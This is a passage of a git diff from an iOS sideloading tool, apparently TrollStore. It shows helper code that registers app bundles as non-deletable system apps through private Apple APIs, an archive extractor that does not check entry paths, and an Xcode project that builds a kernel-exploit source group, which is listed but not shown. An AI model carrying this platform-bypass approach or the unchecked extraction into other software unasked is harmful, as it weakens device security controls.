bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"]; + [mcmBundle load]; + + BOOL suc = NO; + NSError* error; + + NSString* cmd = [NSString stringWithUTF8String:argv[1]]; + if([cmd isEqualToString:@"install"]) + { + if(argc <= 2) return -2; + NSString* ipaPath = [NSString stringWithUTF8String:argv[2]]; + suc = installIpa(ipaPath, &error); + } else if([cmd isEqualToString:@"uninstall"]) + { + if(argc <= 2) return -2; + NSString* appId = [NSString stringWithUTF8String:argv[2]]; + suc = uninstallApp(appId, &error); + } else if([cmd isEqualToString:@"install-trollstore"]) + { + if(argc <= 2) return -2; + NSString* tsTar = [NSString stringWithUTF8String:argv[2]]; + suc = installTrollStore(tsTar); + NSLog(@"installed troll store? %d", suc); + } else if([cmd isEqualToString:@"uninstall-trollstore"]) + { + uninstallTrollStore(); + uninstallAllApps(); + } + + if(!suc) + { + NSLog(@"error: %@", error); + } + + return !suc; + } +} diff --git a/Helper/uicache.h b/Helper/uicache.h new file mode 100644 index 0000000..841c025 --- /dev/null +++ b/Helper/uicache.h @@ -0,0 +1 @@ +extern void registerPath(char *path, int unregister); \ No newline at end of file diff --git a/Helper/uicache.m b/Helper/uicache.m new file mode 100644 index 0000000..f5fbb27 --- /dev/null +++ b/Helper/uicache.m @@ -0,0 +1,92 @@ +@import Foundation; +@import CoreServices; +#import "CoreServices.h" +#import +#import "dlfcn.h" + +void registerPath(char *path, int unregister) +{ + if(!path) return; + + LSApplicationWorkspace *workspace = + [LSApplicationWorkspace defaultWorkspace]; + if (unregister && ![[NSFileManager defaultManager] fileExistsAtPath:[NSString stringWithUTF8String:path]]) { + LSApplicationProxy *app = [LSApplicationProxy + applicationProxyForIdentifier:[NSString stringWithUTF8String:path]]; + if (app.bundleURL) + path = (char *)[[app bundleURL] fileSystemRepresentation]; + } + + NSString *rawPath = [NSString stringWithUTF8String:path]; + rawPath = [rawPath stringByResolvingSymlinksInPath]; + + NSDictionary *infoPlist = [NSDictionary + dictionaryWithContentsOfFile: + [rawPath stringByAppendingPathComponent:@"Info.plist"]]; + NSString *bundleID = [infoPlist objectForKey:@"CFBundleIdentifier"]; + + NSURL *url = [NSURL fileURLWithPath:rawPath]; + + if (bundleID && !unregister) { + MCMContainer *appContainer = [objc_getClass("MCMAppDataContainer") + containerWithIdentifier:bundleID + createIfNecessary:YES + existed:nil + error:nil]; + NSString *containerPath = [appContainer url].path; + + NSMutableDictionary *plist = [NSMutableDictionary dictionary]; + [plist setObject:@"System" forKey:@"ApplicationType"]; + [plist setObject:@1 forKey:@"BundleNameIsLocalized"]; + [plist setObject:bundleID forKey:@"CFBundleIdentifier"]; + [plist setObject:@0 forKey:@"CompatibilityState"]; + if (containerPath) [plist setObject:containerPath forKey:@"Container"]; + [plist setObject:@0 forKey:@"IsDeletable"]; + [plist setObject:rawPath forKey:@"Path"]; + + NSString *pluginsPath = + [rawPath stringByAppendingPathComponent:@"PlugIns"]; + NSArray *plugins = [[NSFileManager defaultManager] + contentsOfDirectoryAtPath:pluginsPath + error:nil]; + + NSMutableDictionary *bundlePlugins = [NSMutableDictionary dictionary]; + for (NSString *pluginName in plugins) { + NSString *fullPath = + [pluginsPath stringByAppendingPathComponent:pluginName]; + + NSDictionary *infoPlist = [NSDictionary + dictionaryWithContentsOfFile: + [fullPath stringByAppendingPathComponent:@"Info.plist"]]; + NSString *pluginBundleID = + [infoPlist objectForKey:@"CFBundleIdentifier"]; + if (!pluginBundleID) continue; + MCMContainer *pluginContainer = + [objc_getClass("MCMPluginKitPluginDataContainer") + containerWithIdentifier:pluginBundleID + createIfNecessary:YES + existed:nil + error:nil]; + NSString *pluginContainerPath = [pluginContainer url].path; + + NSMutableDictionary *pluginPlist = [NSMutableDictionary dictionary]; + [pluginPlist setObject:@"PluginKitPlugin" + forKey:@"ApplicationType"]; + [pluginPlist setObject:@1 forKey:@"BundleNameIsLocalized"]; + [pluginPlist setObject:pluginBundleID forKey:@"CFBundleIdentifier"]; + [pluginPlist setObject:@0 forKey:@"CompatibilityState"]; + [pluginPlist setObject:pluginContainerPath forKey:@"Container"]; + [pluginPlist setObject:fullPath forKey:@"Path"]; + [pluginPlist setObject:bundleID forKey:@"PluginOwnerBundleID"]; + [bundlePlugins setObject:pluginPlist forKey:pluginBundleID]; + } + [plist setObject:bundlePlugins forKey:@"_LSBundlePlugins"]; + if (![workspace registerApplicationDictionary:plist]) { + fprintf(stderr, "Error: Unable to register %s\n", path); + } + } else { + if (![workspace unregisterApplication:url]) { + fprintf(stderr, "Error: Unable to unregister %s\n", path); + } + } +} \ No newline at end of file diff --git a/Helper/unarchive.h b/Helper/unarchive.h new file mode 100644 index 0000000..dc8407f --- /dev/null +++ b/Helper/unarchive.h @@ -0,0 +1,3 @@ +@import Foundation; + +extern int extract(NSString* fileToExtract, NSString* extractionPath); \ No newline at end of file diff --git a/Helper/unarchive.m b/Helper/unarchive.m new file mode 100644 index 0000000..83bbd5b --- /dev/null +++ b/Helper/unarchive.m @@ -0,0 +1,87 @@ +#import "unarchive.h" + +#include +#include + +static int +copy_data(struct archive *ar, struct archive *aw) +{ + int r; + const void *buff; + size_t size; + la_int64_t offset; + + for (;;) { + r = archive_read_data_block(ar, &buff, &size, &offset); + if (r == ARCHIVE_EOF) + return (ARCHIVE_OK); + if (r < ARCHIVE_OK) + return (r); + r = archive_write_data_block(aw, buff, size, offset); + if (r < ARCHIVE_OK) { + fprintf(stderr, "%s\n", archive_error_string(aw)); + return (r); + } + } +} + +int extract(NSString* fileToExtract, NSString* extractionPath) +{ + struct archive *a; + struct archive *ext; + struct archive_entry *entry; + int flags; + int r; + + /* Select which attributes we want to restore. */ + flags = ARCHIVE_EXTRACT_TIME; + flags |= ARCHIVE_EXTRACT_PERM; + flags |= ARCHIVE_EXTRACT_ACL; + flags |= ARCHIVE_EXTRACT_FFLAGS; + + a = archive_read_new(); + archive_read_support_format_all(a); + archive_read_support_filter_all(a); + ext = archive_write_disk_new(); + archive_write_disk_set_options(ext, flags); + archive_write_disk_set_standard_lookup(ext); + if ((r = archive_read_open_filename(a, fileToExtract.UTF8String, 10240))) + return 1; + for (;;) + { + r = archive_read_next_header(a, &entry); + if (r == ARCHIVE_EOF) + break; + if (r < ARCHIVE_OK) + fprintf(stderr, "%s\n", archive_error_string(a)); + if (r < ARCHIVE_WARN) + return 1; + + NSString* currentFile = [NSString stringWithUTF8String:archive_entry_pathname(entry)]; + NSString* fullOutputPath = [extractionPath stringByAppendingPathComponent:currentFile]; + //printf("extracting %s to %s\n", currentFile.UTF8String, fullOutputPath.UTF8String); + archive_entry_set_pathname(entry, fullOutputPath.UTF8String); + + r = archive_write_header(ext, entry); + if (r < ARCHIVE_OK) + fprintf(stderr, "%s\n", archive_error_string(ext)); + else if (archive_entry_size(entry) > 0) { + r = copy_data(a, ext); + if (r < ARCHIVE_OK) + fprintf(stderr, "%s\n", archive_error_string(ext)); + if (r < ARCHIVE_WARN) + return 1; + } + r = archive_write_finish_entry(ext); + if (r < ARCHIVE_OK) + fprintf(stderr, "%s\n", archive_error_string(ext)); + if (r < ARCHIVE_WARN) + return 1; + } + archive_read_close(a); + archive_read_free(a); + archive_write_close(ext); + archive_write_free(ext); + + return 0; +} diff --git a/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.pbxproj b/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.pbxproj new file mode 100644 index 0000000..f72ac1e --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.pbxproj @@ -0,0 +1,478 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 55; + objects = { + +/* Begin PBXBuildFile section */ + 8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C4D6A3428C17B010004DEA4 /* unarchive.m */; }; + 8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */ = {isa = PBXBuildFile; fileRef = 8C7E16FE28B24C0000D9D33E /* TrollStore.tar */; }; + 8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3928AE47A200837105 /* kernel_rw.c */; }; + 8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3A28AE47A200837105 /* port_utils.c */; }; + 8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3B28AE47A200837105 /* IOGPU.c */; }; + 8CDF7C4C28AE47A200837105 /* spray.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3D28AE47A200837105 /* spray.c */; }; + 8CDF7C4D28AE47A200837105 /* mcast.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3E28AE47A200837105 /* mcast.c */; }; + 8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3F28AE47A200837105 /* kernel_base.c */; }; + 8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */; }; + 8CDF7C5028AE47A200837105 /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4128AE47A200837105 /* necp.c */; }; + 8CDF7C5128AE47A200837105 /* exploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4828AE47A200837105 /* exploit.c */; }; + 8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2428AD5D710058FBAD /* AppDelegate.m */; }; + 8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */; }; + 8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2A28AD5D710058FBAD /* ViewController.m */; }; + 8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2C28AD5D720058FBAD /* Main.storyboard */; }; + 8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */; }; + 8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */; }; + 8CE2BD3628AD5D730058FBAD /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3528AD5D730058FBAD /* main.m */; }; + 8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7228AD5E060058FBAD /* KernelManager.m */; }; + 8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7528AD5E1A0058FBAD /* kutil.m */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 8C4D6A3428C17B010004DEA4 /* unarchive.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = unarchive.m; sourceTree = ""; }; + 8C4D6A3628C17B0F0004DEA4 /* unarchive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = unarchive.h; sourceTree = ""; }; + 8C4D6A3728C17B830004DEA4 /* archive_entry.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive_entry.h; sourceTree = ""; }; + 8C4D6A3828C17B830004DEA4 /* archive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive.h; sourceTree = ""; }; + 8C7E16FE28B24C0000D9D33E /* TrollStore.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; name = TrollStore.tar; path = ../../../_compile/out/TrollStore.tar; sourceTree = ""; }; + 8CDF7C3528AE47A200837105 /* kernel_base.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_base.h; sourceTree = ""; }; + 8CDF7C3628AE47A200837105 /* xpaci.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = xpaci.h; sourceTree = ""; }; + 8CDF7C3728AE47A200837105 /* necp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = ""; }; + 8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOSurfaceRoot.h; sourceTree = ""; }; + 8CDF7C3928AE47A200837105 /* kernel_rw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_rw.c; sourceTree = ""; }; + 8CDF7C3A28AE47A200837105 /* port_utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = port_utils.c; sourceTree = ""; }; + 8CDF7C3B28AE47A200837105 /* IOGPU.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOGPU.c; sourceTree = ""; }; + 8CDF7C3C28AE47A200837105 /* exploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = ""; }; + 8CDF7C3D28AE47A200837105 /* spray.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = spray.c; sourceTree = ""; }; + 8CDF7C3E28AE47A200837105 /* mcast.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = mcast.c; sourceTree = ""; }; + 8CDF7C3F28AE47A200837105 /* kernel_base.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_base.c; sourceTree = ""; }; + 8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOSurfaceRoot.c; sourceTree = ""; }; + 8CDF7C4128AE47A200837105 /* necp.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = ""; }; + 8CDF7C4228AE47A200837105 /* iokit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = ""; }; + 8CDF7C4328AE47A200837105 /* IOGPU.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOGPU.h; sourceTree = ""; }; + 8CDF7C4428AE47A200837105 /* port_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = port_utils.h; sourceTree = ""; }; + 8CDF7C4528AE47A200837105 /* kernel_rw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_rw.h; sourceTree = ""; }; + 8CDF7C4628AE47A200837105 /* mcast.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = mcast.h; sourceTree = ""; }; + 8CDF7C4728AE47A200837105 /* spray.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = spray.h; sourceTree = ""; }; + 8CDF7C4828AE47A200837105 /* exploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = exploit.c; sourceTree = ""; }; + 8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = TrollInstaller.app; sourceTree = BUILT_PRODUCTS_DIR; }; + 8CE2BD2328AD5D710058FBAD /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; + 8CE2BD2428AD5D710058FBAD /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; + 8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SceneDelegate.h; sourceTree = ""; }; + 8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SceneDelegate.m; sourceTree = ""; }; + 8CE2BD2928AD5D710058FBAD /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; + 8CE2BD2A28AD5D710058FBAD /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; + 8CE2BD2D28AD5D720058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; + 8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; + 8CE2BD3228AD5D730058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; + 8CE2BD3428AD5D730058FBAD /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; + 8CE2BD3528AD5D730058FBAD /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; + 8CE2BD7228AD5E060058FBAD /* KernelManager.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelManager.m; sourceTree = ""; }; + 8CE2BD7328AD5E060058FBAD /* KernelManager.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelManager.h; sourceTree = ""; }; + 8CE2BD7528AD5E1A0058FBAD /* kutil.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kutil.m; sourceTree = ""; }; + 8CE2BD7628AD5E1A0058FBAD /* kutil.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutil.h; sourceTree = ""; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 8CE2BD1D28AD5D710058FBAD /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 8C4D6A3128C17A490004DEA4 /* headers */ = { + isa = PBXGroup; + children = ( + 8C4D6A3728C17B830004DEA4 /* archive_entry.h */, + 8C4D6A3828C17B830004DEA4 /* archive.h */, + ); + path = headers; + sourceTree = ""; + }; + 8CDF7C3428AE47A200837105 /* exploit */ = { + isa = PBXGroup; + children = ( + 8CDF7C3528AE47A200837105 /* kernel_base.h */, + 8CDF7C3628AE47A200837105 /* xpaci.h */, + 8CDF7C3728AE47A200837105 /* necp.h */, + 8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */, + 8CDF7C3928AE47A200837105 /* kernel_rw.c */, + 8CDF7C3A28AE47A200837105 /* port_utils.c */, + 8CDF7C3B28AE47A200837105 /* IOGPU.c */, + 8CDF7C3C28AE47A200837105 /* exploit.h */, + 8CDF7C3D28AE47A200837105 /* spray.c */, + 8CDF7C3E28AE47A200837105 /* mcast.c */, + 8CDF7C3F28AE47A200837105 /* kernel_base.c */, + 8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */, + 8CDF7C4128AE47A200837105 /* necp.c */, + 8CDF7C4228AE47A200837105 /* iokit.h */, + 8CDF7C4328AE47A200837105 /* IOGPU.h */, + 8CDF7C4428AE47A200837105 /* port_utils.h */, + 8CDF7C4528AE47A200837105 /* kernel_rw.h */, + 8CDF7C4628AE47A200837105 /* mcast.h */, + 8CDF7C4728AE47A200837105 /* spray.h */, + 8CDF7C4828AE47A200837105 /* exploit.c */, + ); + path = exploit; + sourceTree = ""; + }; + 8CE2BD1728AD5D710058FBAD = { + isa = PBXGroup; + children = ( + 8CE2BD2228AD5D710058FBAD /* TrollInstaller */, + 8CE2BD2128AD5D710058FBAD /* Products */, + ); + sourceTree = ""; + }; + 8CE2BD2128AD5D710058FBAD /* Products */ = { + isa = PBXGroup; + children = ( + 8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */, + ); + name = Products; + sourceTree = ""; + }; + 8CE2BD2228AD5D710058FBAD /* TrollInstaller */ = { + isa = PBXGroup; + children = ( + 8C4D6A3128C17A490004DEA4 /* headers */, + 8CDF7C3428AE47A200837105 /* exploit */, + 8CE2BD2328AD5D710058FBAD /* AppDelegate.h */, + 8CE2BD2428AD5D710058FBAD /* AppDelegate.m */, + 8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */, + 8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */, + 8CE2BD2928AD5D710058FBAD /* ViewController.h */, + 8CE2BD2A28AD5D710058FBAD /* ViewController.m */, + 8CE2BD7328AD5E060058FBAD /* KernelManager.h */, + 8CE2BD7228AD5E060058FBAD /* KernelManager.m */, + 8CE2BD7628AD5E1A0058FBAD /* kutil.h */, + 8CE2BD7528AD5E1A0058FBAD /* kutil.m */, + 8C4D6A3628C17B0F0004DEA4 /* unarchive.h */, + 8C4D6A3428C17B010004DEA4 /* unarchive.m */, + 8CE2BD2C28AD5D720058FBAD /* Main.storyboard */, + 8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */, + 8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */, + 8CE2BD3428AD5D730058FBAD /* Info.plist */, + 8CE2BD3528AD5D730058FBAD /* main.m */, + 8C7E16FE28B24C0000D9D33E /* TrollStore.tar */, + ); + path = TrollInstaller; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 8CE2BD1F28AD5D710058FBAD /* TrollInstaller */ = { + isa = PBXNativeTarget; + buildConfigurationList = 8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */; + buildPhases = ( + 8CE2BD1C28AD5D710058FBAD /* Sources */, + 8CE2BD1D28AD5D710058FBAD /* Frameworks */, + 8CE2BD1E28AD5D710058FBAD /* Resources */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = TrollInstaller; + productName = TrollInstaller; + productReference = 8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */; + productType = "com.apple.product-type.application"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 8CE2BD1828AD5D710058FBAD /* Project object */ = { + isa = PBXProject; + attributes = { + BuildIndependentTargetsInParallel = 1; + LastUpgradeCheck = 1340; + TargetAttributes = { + 8CE2BD1F28AD5D710058FBAD = { + CreatedOnToolsVersion = 13.4.1; + }; + }; + }; + buildConfigurationList = 8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */; + compatibilityVersion = "Xcode 13.0"; + developmentRegion = en; + hasScannedForEncodings = 0; + knownRegions = ( + en, + Base, + ); + mainGroup = 8CE2BD1728AD5D710058FBAD; + productRefGroup = 8CE2BD2128AD5D710058FBAD /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 8CE2BD1F28AD5D710058FBAD /* TrollInstaller */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXResourcesBuildPhase section */ + 8CE2BD1E28AD5D710058FBAD /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */, + 8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */, + 8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */, + 8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXResourcesBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 8CE2BD1C28AD5D710058FBAD /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */, + 8CDF7C4C28AE47A200837105 /* spray.c in Sources */, + 8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */, + 8CDF7C4D28AE47A200837105 /* mcast.c in Sources */, + 8CDF7C5128AE47A200837105 /* exploit.c in Sources */, + 8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */, + 8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */, + 8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */, + 8CDF7C5028AE47A200837105 /* necp.c in Sources */, + 8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */, + 8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */, + 8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */, + 8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */, + 8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */, + 8CE2BD3628AD5D730058FBAD /* main.m in Sources */, + 8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin PBXVariantGroup section */ + 8CE2BD2C28AD5D720058FBAD /* Main.storyboard */ = { + isa = PBXVariantGroup; + children = ( + 8CE2BD2D28AD5D720058FBAD /* Base */, + ); + name = Main.storyboard; + sourceTree = ""; + }; + 8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */ = { + isa = PBXVariantGroup; + children = ( + 8CE2BD3228AD5D730058FBAD /* Base */, + ); + name = LaunchScreen.storyboard; + sourceTree = ""; + }; +/* End PBXVariantGroup section */ + +/* Begin XCBuildConfiguration section */ + 8CE2BD3728AD5D730058FBAD /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++17"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = dwarf; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_TESTABILITY = YES; + GCC_C_LANGUAGE_STANDARD = gnu11; + GCC_DYNAMIC_NO_PIC = NO; + GCC_NO_COMMON_BLOCKS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 15.5; + MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; + MTL_FAST_MATH = YES; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + }; + name = Debug; + }; + 8CE2BD3828AD5D730058FBAD /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++17"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = 